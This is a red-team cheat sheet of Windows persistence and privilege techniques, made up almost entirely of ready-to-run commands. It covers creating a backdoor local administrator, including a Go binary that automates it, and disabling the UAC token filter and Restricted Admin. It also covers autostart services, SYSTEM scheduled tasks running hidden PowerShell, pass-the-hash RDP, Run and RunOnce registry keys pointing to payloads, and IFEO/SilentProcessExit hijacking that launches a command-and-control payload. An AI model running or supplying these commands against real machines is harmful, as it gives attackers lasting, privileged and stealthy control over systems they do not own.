Windows

Create new user

net user mylocaladmin p@ssw0rd! /add /expires:never
net localgroup administrators mylocaladmin /add

Create user mylocaladmin with password p@ssw0rd! and add it to administrators group.

UAC — Token Filter

Change registry settings to allow local administrator accounts to perform administrative tasks remotely without restrictions

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

Create service

Make a service, with autostart. Before need prepare special payload, that is a service binary.

sc.exe create "monitexp" binPath= "C:\PathToServiceBinary" type= own start= auto

Then start service

Start-Service -Name "monitexp"

Background jobs

$job = Start-Job { c:/ProgramData/file.exe -args }

Receive output

Receive-Job -Job $job -Keep

Scheduled task

schtasks.exe

Task create:

schtasks /create /tn msupdate /tr "powershell -w h calc.exe" /sc MINUTE /mo 5 /f /ru SYSTEM

Task info

schtasks /query /tn msupdate /v /fo list

Force the task to start:

schtasks /run /tn msupdate /i

Delete task:

schtasks /delete /tn msupdate /f

Provide RDP access

Turn on RDP

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

Bypass Restricted Admin Mode

reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

Connect

xfreerdp /v:172.16.222.254 /u:username /pth:<NT_HASH> /dynamic-resolution +clipboard

Go based binary to create local admin

package main

import (
	"fmt"
	"log"
	"os/exec"
)

func main() {
	addUserCmd := "net user mylocaladmin p@ssw0rd! /add /expires:never"
	addToAdminGroupCmd := "net localgroup administrators mylocaladmin /add"

	err := executeCommand(addUserCmd)
	if err != nil {
		log.Fatal(err)
	}

	err = executeCommand(addToAdminGroupCmd)
	if err != nil {
		log.Fatal(err)
	}

}

func executeCommand(command string) error {
	cmd := exec.Command("cmd", "/C", command)

	output, err := cmd.CombinedOutput()
	if err != nil {
		return fmt.Errorf("err: %s\noutput : %s", err, output)
	}
	return nil
}

Registry

Windows Persistence: Registry Run KeysMedium

What are Run keys?

There are two different types of run keys: Those that get run once and those that get run every time the user logs in.

The following key get run everytime a specific user logs in. You will have to specify the SID of the user:

HKEY_USERS\<sid>\Software\Microsoft\Windows\CurrentVersion\Run\

The following registry key runs every time any user logs into the machine:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\

The run once keys are only executed once. If your malware uses these keys to persist, then it should contain a function to add this key every time it gets executed.

Command Prompt / CMD

With reg add KEY_NAME /V VALUE_NAME /d DATA /f you can add a new key.

• KEY_NAME should be the registry key name, e.g. “run once key”.

• VALUE_NAME should be the name of the entry.

• DATA should be the data of the entry, for example the path to your malicious executable.

Code

Of course you can also implement the creation of a registry key in your code. In C# you can do that with the following code:

Microsoft.Win32.RegistryKey key; 
key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey("My_Key"); key.SetValue("My_Key", "Test"); 
key.Close();

Registry run keys

Persistence – Registry Run KeysPenetration Testing Lab

HKCU

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"

HKLM

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"

• HKCU\Software\Microsoft\Windows\CurrentVersion\Run

• HKLM\Software\Microsoft\Windows\CurrentVersion\Run

DIfference: HKCU → for current user only, HKLM → for all

there are two more registry locations that could allow red teams to achieve persistence by executing either an arbitrary payload or a DLL. These will be executed during logon and require admin level privileges.

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.dll"

Image File Execution Options (IFEO)

IFEO – Penetration Testing LabPenetration Testing Lab

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\pentestlab.exe"

• The hexadecimal value 0x200 in the “GlobalFlag” registry key enables the silent exit monitoring for the notepad process.

• The ReportingMode registry key enables the Windows Error Reporting process (WerFault.exe) which will be the parent process of the “MonitorProcess” pentestlab.exe.

• When the notepad process is killed (user has closed the notepad application) the payload will be executed and the communication will establish with the command and control.